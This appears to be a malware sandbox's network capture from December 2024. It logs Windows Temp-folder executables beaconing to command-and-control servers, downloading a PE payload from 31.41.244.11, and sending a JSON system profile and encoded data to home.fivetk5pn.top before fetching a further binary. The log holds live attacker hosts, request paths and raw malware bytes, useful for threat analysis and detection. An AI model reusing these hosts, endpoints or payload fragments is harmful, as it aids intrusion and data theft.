Dec 16, 2024 17:02:09.620361090 CET	1236	IN	Data Raw: bb 09 80 16 a2 fc 3e 28 9b aa 51 b6 35 00 55 65 04 72 f2 39 09 b2 55 6f 54 4d 80 08 09 58 0b 80 ab bb ed 95 8b 44 40 48 ac 29 bf d5 ed dc 18 db bb 43 d2 d4 2d e6 cb 4e 51 74 cc f6 f0 52 7f 61 ad e5 7d 97 ed 7c b1 c1 be 67 a2 a6 cb 86 b9 45 a7 67 Data Ascii: >(Q5Uer9UoTMXD@H)C-NQtRa}\|gEgFTgCf-inBIjI7sXvCaP-["CYL?R 89BY'^B+-M"Hc7roT$rN]z%$,n#qyEi01
Dec 16, 2024 17:02:09.620377064 CET	1236	IN	Data Raw: 61 8b 5b 6e 9f 04 ba f5 19 87 8d 0d 65 2f 6d 66 a1 30 fe 02 ca 6c 74 57 b9 df 92 e7 92 b8 dd 44 b4 08 ee da b5 77 17 f7 70 0f fd f9 d9 f8 78 66 75 2f 6d 66 3d 30 fe 76 ca 5c 74 57 ca d3 09 87 a1 bf 74 58 41 50 f7 a4 77 2a be a8 c0 37 ba 50 a6 c5 Data Ascii: a[ne/mf0ltWDwpxfu/mf=0v\tWtXAPw7P}kn.5G%wH'* r_@a<.a8le$"o\`H\|?,Z,j87r9-==Ax-5$^@IvcQR!F.
Dec 16, 2024 17:02:09.739372015 CET	1236	IN	Data Raw: e8 0f c3 9f c5 18 da 27 5b 58 b9 13 cc 47 03 69 c7 49 5f a8 3f 96 50 14 8d 85 7b 6d c9 bd f2 e2 ae 7c d3 49 01 79 93 bc 8a 9e 96 01 24 75 3c 5c 4c b2 9f 2e 1a ac 53 18 69 6c 46 e9 75 5c 42 20 c5 64 d7 0e f6 ee a6 40 9f 66 fb e2 a0 44 17 00 82 85 Data Ascii: '[XGiI_?P{m\|Iy$u<\L.SilFu\B d@fDW46#A\e10i^-df#50%Ex4@VNQ2+sv.$_CkJtn/j=.!"A5rEY;HT5;)h7Oz##

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:19.248253107 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016171001&unit=246122658369
Dec 16, 2024 17:02:20.583868027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49712	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:20.707781076 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:02:22.032820940 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:21 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 16, 2024 17:02:22.032860041 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 16, 2024 17:02:22.032876968 CET	448	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 16, 2024 17:02:22.032896042 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
Dec 16, 2024 17:02:22.033014059 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 16, 2024 17:02:22.033032894 CET	1236	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Dec 16, 2024 17:02:22.033049107 CET	1236	IN	Data Raw: 83 25 84 e9 41 00 00 c3 83 25 84 e9 41 00 00 68 60 a6 41 00 68 c4 a5 41 00 ff 15 68 a1 41 00 50 ff 15 6c a1 41 00 85 c0 74 11 68 88 e9 41 00 ff d0 c7 05 84 e9 41 00 01 00 00 00 c3 56 8b 74 24 08 85 f6 75 05 33 c0 40 5e c3 e8 3f ff ff ff 83 f8 09 Data Ascii: %A%Ah`AhAhAPlAthAAVt$u3@^?uuu@;t3^US3EPSSSSSSh j jEP]]]]]]]EAtEPuSAuAE[UEVpEtKQ;SW}=3~'4<
Dec 16, 2024 17:02:22.033615112 CET	896	IN	Data Raw: 5e c2 04 00 53 56 8b f1 8b 06 33 db 57 8b 7c 24 10 89 5e 04 88 18 38 1f 74 07 43 80 3c 3b 00 75 f9 53 e8 33 fc ff ff 8b 06 8a 0f 88 08 40 47 84 c9 75 f6 5f 89 5e 04 8b c6 5e 5b c2 04 00 56 57 8b 7c 24 0c 8b f1 3b fe 74 25 83 66 04 00 8b 06 c6 00 Data Ascii: ^SV3W\|$^8tC<;uS3@Gu_^^[VW\|$;t%fw@AuGF_^Vj&NT$FF^SVW\|$38tC<;uSF@Gu^_^[VW\|$wF@A
Dec 16, 2024 17:02:22.033632994 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 16, 2024 17:02:22.033648968 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh
Dec 16, 2024 17:02:22.153163910 CET	1236	IN	Data Raw: 04 46 89 75 fc 68 e9 fd 00 00 8d 45 e0 50 8d 45 bc 50 e8 e4 f4 ff ff 83 c4 0c 50 8d 4d b0 e8 46 db ff ff ff 75 bc e8 6c 59 01 00 8d 45 b0 50 e8 c5 f7 ff ff 59 59 68 c4 a6 41 00 ff 75 a4 ff 15 24 a1 41 00 85 c0 75 14 6a 3d ff 75 b0 e8 6e ed 00 00 Data Ascii: FuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At9u9u Suu;tuHMEP?MM!iuX+uuuuW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	138.124.35.95	80	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:23.783099890 CET	12360	OUT	POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1 Host: home.fivetk5pn.top Accept: / Content-Type: application/json Content-Length: 557421 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 36 34 39 34 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734364941", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 556 }, { "name": "services.exe", "pid": 624 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 744 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 372 }, { "name": "svchost.exe", "pid": 772 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 16, 2024 17:02:23.903335094 CET	2472	OUT	Data Raw: 68 61 53 68 56 72 77 6f 4a 75 70 4f 6c 52 62 72 53 68 46 71 6c 43 70 55 63 61 63 76 31 44 4d 76 32 64 48 69 46 68 73 76 78 75 49 79 37 6a 72 68 58 4e 4d 66 51 77 31 61 74 68 4d 74 65 44 7a 4c 41 5c 2f 58 73 52 54 67 35 30 38 4a 48 47 56 75 65 68 Data Ascii: haShVrwoJupOlRbrShFqlCpUcacv1DMv2dHiFhsvxuIy7jrhXNMfQw1athMteDzLA\/XsRTg508JHGVuehhp4iS9lTrV0qEJyi606dLnqQ\/m1f7x\/D+QptdD4r8KeI\/A3iPWfCPi7RtQ8PeJfD2oXOla1ouq20lnqGnahZyGK4tbq3lCvHJG6+6upWSNnjdHbnq\/tfKc2y3PcswOc5NjsNmWV5lhqWLwGPwlSNbD4rD1o81
Dec 16, 2024 17:02:23.903410912 CET	4944	OUT	Data Raw: 41 46 63 5c 2f 53 6d 4c 2b 38 32 4f 5c 2f 6c 75 5c 2f 5c 2f 41 43 79 48 5c 2f 4c 44 33 36 65 5c 2f 35 39 36 65 56 65 54 5c 2f 6c 74 73 54 39 49 65 32 50 78 39 76 70 37 30 7a 4f 35 74 69 65 5a 73 38 72 5c 2f 6c 6e 5c 2f 41 4d 74 6a 2b 6e 2b 54 33 Data Ascii: AFc\/SmL+82O\/lu\/\/ACyH\/LD36e\/596eVeT\/ltsT9Ie2Px9vp70zO5tieZs8r\/ln\/AMtj+n+T3oN4b\/L9UQ\/9+3k\/7df8\/wBMHvR\/uSffl\/ex8+fmn\/Jw\/wDqH6y849f88UeW8n+ufiPjj\/PT0\/zivZeUfu\/4BqQ7jGs2z7\/9f8\/Q0zzPl+dPn83yvs8kv6frT+f9Ye38cY\/13+f6USN9xP8AR0Tz
Dec 16, 2024 17:02:23.903701067 CET	2472	OUT	Data Raw: 2f 49 55 32 70 50 4c 39 5c 2f 30 5c 2f 2b 76 55 64 42 30 46 6a 39 6c 62 39 75 31 66 32 59 5c 2f 6a 35 34 47 2b 4e 79 66 43 31 76 48 43 65 43 6a 34 70 43 2b 47 6d 38 62 44 77 77 32 71 4c 34 6b 38 48 65 49 66 43 53 6c 74 59 48 68 4c 78 45 4c 42 72 Data Ascii: /IU2pPL9\/0\/+vUdB0Fj9lb9u1f2Y\/j54G+NyfC1vHCeCj4pC+Gm8bDww2qL4k8HeIfCSltYHhLxELBrMa8NQKjTL0Tm1+yBofO+1RfsZ\/xErf8AVlv\/AJsZ\/wDiIr+cH4G\/EnTfhB8Xvh98Sta8B+DvihofhHxJZalr3w78f+H9F8T+EvGWgNvtNc0DVdI8Qadq2kudQ0m5vIdP1C4066m0TVDZa3YoL\/TrV0\/pi\/
Dec 16, 2024 17:02:23.903779030 CET	2472	OUT	Data Raw: 2b 48 33 78 4f 6b 63 66 69 58 78 44 48 44 48 48 46 45 6d 75 61 73 6b 55 55 53 4c 48 46 46 47 74 5c 2f 63 4b 6b 63 55 61 42 55 6a 6a 52 51 46 52 45 41 56 46 41 56 51 41 41 4b 77 36 32 5c 2f 45 70 33 65 49 39 66 62 31 31 76 56 54 2b 64 39 4f 61 78 Data Ascii: +H3xOkcfiXxDHDHHFEmuaskUUSLHFFGt\/cKkcUaBUjjRQFREAVFAVQAAKw62\/Ep3eI9fb11vVT+d9OaxK\/wBweEpzqcK8MznKU5z4fyac5zblKcpZdhnKUpNtylJtttttttt3P+enjOEKfGPFlOnCMKcOJc9hThCKjGEI5pioxjGMUoxjGKSUYpJJJJWIth9v8\/hTKsVXr6T2fn+H\/BPCCo5O34\/0qSmsu6j2fn+H\/BA
Dec 16, 2024 17:02:23.904117107 CET	2472	OUT	Data Raw: 36 64 63 56 63 62 5c 2f 56 37 39 6d 36 48 7a 66 33 52 38 72 33 48 2b 65 5c 2f 2b 45 50 6c 2b 5a 73 6d 2b 35 35 6e 2b 72 6a 5c 2f 31 48 2b 6a 5c 2f 41 46 7a 7a 6a 74 51 62 38 37 38 76 36 2b 5a 57 6b 2b 61 54 37 2b 78 5c 2f 39 6a 5c 2f 6c 74 6e 48 Data Ascii: 6dcVcb\/V79m6Hzf3R8r3H+e\/+EPl+Zsm+55n+rj\/1H+j\/AFzzjtQb878v6+ZWk+aT7+x\/9j\/ltnHp2\/r9KG2LvTZ\/rIsfvP8Ayb\/H\/PpT\/L\/dw\/uPk95f3H2j9fp\/UUxY90e+H5P3o\/1n+o\/\/AFfnW3tfOX9fM1pfZ+f6jPvfudkePK82L972\/wCfr\/PrTPLdR8\/yP5v\/AC17c\/8ALp+nb3zxU2\/
Dec 16, 2024 17:02:23.904162884 CET	2472	OUT	Data Raw: 4f 45 73 67 77 47 56 31 38 35 70 38 57 59 6e 43 55 70 78 71 35 6a 79 66 55 63 52 58 35 71 31 53 72 47 4d 63 4a 57 71 56 49 55 71 47 48 68 4f 4f 48 77 31 47 47 4c 72 4f 46 43 6a 54 68 47 79 55 59 72 35 52 5c 2f 61 47 76 38 41 79 66 43 2b 6a 36 65 Data Ascii: OEsgwGV185p8WYnCUpxq5jyfUcRX5q1SrGMcJWqVIUqGHhOOHw1GGLrOFCjThGyUYr5R\/aGv8AyfC+j6erENfa0J2AxhobGzuA6nPP+uurd+O6DnHB+P8Abt4xjv619E\/tFaraXHiDQtGt7+xvJNM0+7uZxZXUV0sUuoXKQmORoWcRyhdORmhkCSorIzKFdCfnav8ATD6POCo4Xwn4cxFKUJ\/2rPMs0nOm1KM1iMxxNKhJST
Dec 16, 2024 17:02:23.904330969 CET	2472	OUT	Data Raw: 63 66 41 2b 5c 2f 38 43 76 42 59 2b 41 50 45 57 69 36 50 72 48 69 7a 77 7a 34 59 73 62 2b 39 6a 42 38 61 65 4a 6f 4c 62 78 42 71 56 76 59 2b 4d 4e 4e 30 72 53 74 4e 47 6f 2b 48 47 76 6a 4c 34 62 2b 77 48 2b 79 76 38 42 76 6a 66 2b 31 78 38 4b 66 Data Ascii: cfA+\/8CvBY+APEWi6PrHizwz4Ysb+9jB8aeJoLbxBqVvY+MNN0rStNGo+HGvjL4b+wH+yv8Bvjf+1x8Kfhn8T\/AAGPE3gjxQfHra5oa+JvGOhrenR\/hr4y8Q6bt1Dw54h0jVbQW2r6VYXYWxvrZZBb\/ZphJaSTQSf0of8ADlj\/AIJnf9G1f+Zj+P3\/AM9Sv+evxH8HuL\/CLijEcHZ3mPDuMx1LDYTMKtbKK+YYjBV6GO
Dec 16, 2024 17:02:23.904349089 CET	2472	OUT	Data Raw: 30 5c 2f 72 75 76 36 37 61 6b 4e 51 34 50 39 33 5c 2f 30 4c 5c 2f 47 70 71 4b 6a 6b 58 6e 5c 2f 58 79 4f 67 72 30 7a 75 6e 30 50 38 71 66 52 53 39 6e 35 5c 2f 68 5c 2f 77 51 49 6e 36 5c 2f 68 5c 2f 55 30 79 70 4a 4f 33 34 31 48 57 68 74 37 58 7a Data Ascii: 0\/ruv67akNQ4P93\/0L\/GpqKjkXn\/XyOgr0zun0P8qfRS9n5\/h\/wQIn6\/h\/U0ypJO341HWht7Xzl\/XzKsvf\/e\/xpvl\/M\/Xr+H+R\/nFXKr0HUROm3+XNMqxVegKX2fn+pH5fv+n\/ANeo6sVHJ2\/Gg6Cq0f4j8qbVimP0\/H+hoNKfX5fqVvL9\/wBP\/r1HViig0KUi\/wAfp\/h2plWpe\/8Au\/41BsPt\/
Dec 16, 2024 17:02:23.904433966 CET	2472	OUT	Data Raw: 61 65 30 38 76 78 5c 2f 34 41 4e 73 2b 52 33 68 33 70 5c 2f 30 30 50 54 5c 2f 41 4b 65 76 58 76 56 62 37 76 33 48 2b 66 38 41 35 36 66 38 38 66 38 41 36 5c 2f 38 41 6e 6e 76 5a 2b 37 48 38 69 59 34 78 2b 5c 2f 35 5c 2f 30 66 38 41 7a 32 36 5c 2f Data Ascii: ae08vx\/4ANs+R3h3p\/00PT\/AKevXvVb7v3H+f8A56f88f8A6\/8AnnvZ+7H8iY4x+\/5\/0f8Az26\/jTSpVXfyekf8zWntPL8f+AaB\/tt8\/mfuv3f\/AC19P8agj\/6af8s\/s\/7uMHp\/z9D\/ADz1qaSPcqPvk+vmDjn7J7fYvxHSoY18v5ETyf3tx5Uf+v8A+XX9eenFZgH9\/wD65ebmT8vf+vr60z\/gcaf8tft
Dec 16, 2024 17:02:24.024288893 CET	2472	OUT	Data Raw: 6c 54 65 6e 30 2b 75 65 70 48 62 36 31 43 59 6e 55 34 5a 53 76 31 46 54 32 65 6f 32 74 31 47 4a 74 50 75 72 61 36 68 4f 4d 53 32 73 38 56 78 47 66 54 45 6b 54 4d 70 79 50 66 70 37 56 6f 66 61 69 79 37 4a 6b 38 37 2b 76 34 39 76 38 34 72 37 65 4d Data Ascii: lTen0+uepHb61CYnU4ZSv1FT2eo2t1GJtPura6hOMS2s8VxGfTEkTMpyPfp7Vofaiy7Jk87+v49v84r7eMYSSlGXNGSunFxcWu6aVmvmfnUpVoScJpxlF2kpc0Zr1i0rPyaMSitTSV8Oamlhqet+Pfhf8N\/C938APHf7Sd94r8b6z8R57HQfhv8Pfj\/Z\/s16wdY0n4d\/Cb4h+JZNcvPiXf2UOlWOhaLrlrJpM4vb7UNPuUk
Dec 16, 2024 17:02:26.489556074 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 16 Dec 2024 16:02:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 75 4d 73 37 34 4a 39 48 4b 4e 51 59 41 5a 4c 4e 31 37 33 34 33 36 34 39 34 35 Data Ascii: uMs74J9HKNQYAZLN1734364945

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49714	138.124.35.95	80	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:26.823426962 CET	123	OUT	GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=uMs74J9HKNQYAZLN1734364945 HTTP/1.1 Host: home.fivetk5pn.top Accept: /
Dec 16, 2024 17:02:28.282092094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 16 Dec 2024 16:02:28 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="5VzUKxynQgTDfd;" Last-Modified: Mon, 16 Dec 2024 04:58:11 GMT Cache-Control: no-cache ETag: "1734325091.0903454-10816560-873928378" Data Raw: 27 2a ef 7e fc 03 e2 13 8b 2b 8e d2 9c 96 fe 99 bb 6f 9e be 0d 93 8e 51 95 f6 5c c1 cc e1 81 a1 65 a5 20 ad d3 7b 01 c7 7d 97 21 98 8f 30 3e 9e 70 41 a8 01 35 4b d6 ab 6f 38 64 ba 5e 6d 85 00 6c b8 83 f2 6a ac 1c 3e 11 b6 af 3f 8a f9 fa 79 7f f8 2b ff 29 43 cc 6d b2 2a fa d8 2f d6 71 ec b8 8c dd 71 7d d5 27 74 1a 35 af 3b e3 15 c5 5a ee fe 03 9b e9 ac 4e ff 2e 4f 60 ff ce ff 70 7a ce ae ce 62 c2 cb 94 54 11 91 02 c1 39 9a ca 02 83 5a 50 22 5d 7e f9 08 99 38 85 c6 94 99 05 2a 3b 94 f5 61 72 35 63 a6 95 f8 e2 0e a5 51 ab ad be 41 2b ca eb 69 aa e0 c0 f6 26 55 b4 4d 34 7d 53 a7 b7 97 3d 1a 33 fe ef fa b2 63 4f 4c c0 70 b7 85 eb fb aa 5b 13 22 bc e6 bb 51 7a 71 22 64 c3 1d d0 df 94 eb 5b 00 ac 34 15 43 13 91 1e 5a 6a ae 1e 38 b0 e4 10 8c 88 58 94 ba d8 d9 3f 4f 6c 08 09 06 a0 63 8c 24 11 3e a6 ab 09 e1 75 96 42 0f 2f 5a 6c f1 eb e0 6b 09 87 ea 71 67 83 ca 39 3b da 12 f6 50 71 64 94 51 5f bc c6 27 0f 36 2a 8f 4b 22 f5 1b 4d db 27 2f 96 08 c8 a3 a9 43 13 9d 11 65 da 84 cd a4 b2 ca fd 57 6d 77 d2 17 5a 76 [TRUNCATED] Data Ascii: '~+oQ\e {}!0>pA5Ko8d^mlj>?y+)Cm/qq}'t5;ZN.O`pzbT9ZP"]~8;ar5cQA+i&UM4}S=3cOLp["Qzq"d[4CZj8X?Olc$>uB/Zlkqg9;PqdQ_'6K"M'/CeWmwZvTQ'N"Zz_i,][kb,YYztW/h%A<3PpY}Ru(y=PO1v9Fv<TZoV~/'KSl@D jo,;n\m%SdhSLPG:<H+.@{gbkCn\|ibs1g~G"ohxJ6AeOK+<]n92{I=_8(Xu>gMnYt)E:_35K!\}Mwq$>73W[z5D~GTLAY2enxQK$~+lA_[4Rbs?^/78}0CfKNAcUQSZdNxZfM5LfiIyr,=mP8I6nb-\|>T0=)R3^x[N7R3
Dec 16, 2024 17:02:28.282264948 CET	1236	IN	Data Raw: cc 97 af d6 a7 5f 8e d3 7c 76 60 3e 8b fd 06 3d 53 6f 3e fd 69 ab 67 3d 2a 0a 0f 3f 89 f5 8f 63 09 c1 b4 b3 61 5a 0d 91 77 f3 58 2a f4 f4 86 bd 95 6a 7c b1 2e 35 03 ec 55 f9 d3 0c 6f a7 9a a0 cf 5b 1b 2c 97 95 97 77 57 19 11 6f d3 f3 7c 9f f9 25 Data Ascii: _\|v`>=So>ig=?caZwXj\|.5Uo[,wWo\|%E77x/\|P`uDeY(^AgR!3XK#OXs^T;jG/\g)Vnc`f;B'Z4[cK3542XUfzq\|rt
Dec 16, 2024 17:02:28.282275915 CET	128	IN	Data Raw: 24 80 50 d9 f8 a0 24 b7 84 9f f7 ed db 1a c9 34 6b 44 81 aa 0f 41 7f e0 ec ec a0 4f 20 62 e0 ba 7a c5 d4 b1 06 7a 2b 23 88 ae bb 97 17 70 71 54 96 4d b7 27 5d 48 5d c7 d7 b6 a2 f7 76 2e 43 aa a4 2f af c2 93 e3 1b 26 eb 2a 0a bd 96 5a 64 5b 21 1d Data Ascii: $P$4kDAO bzz+#pqTM']H]v.C/&*Zd[! \>N3yn\|)GCnN\|
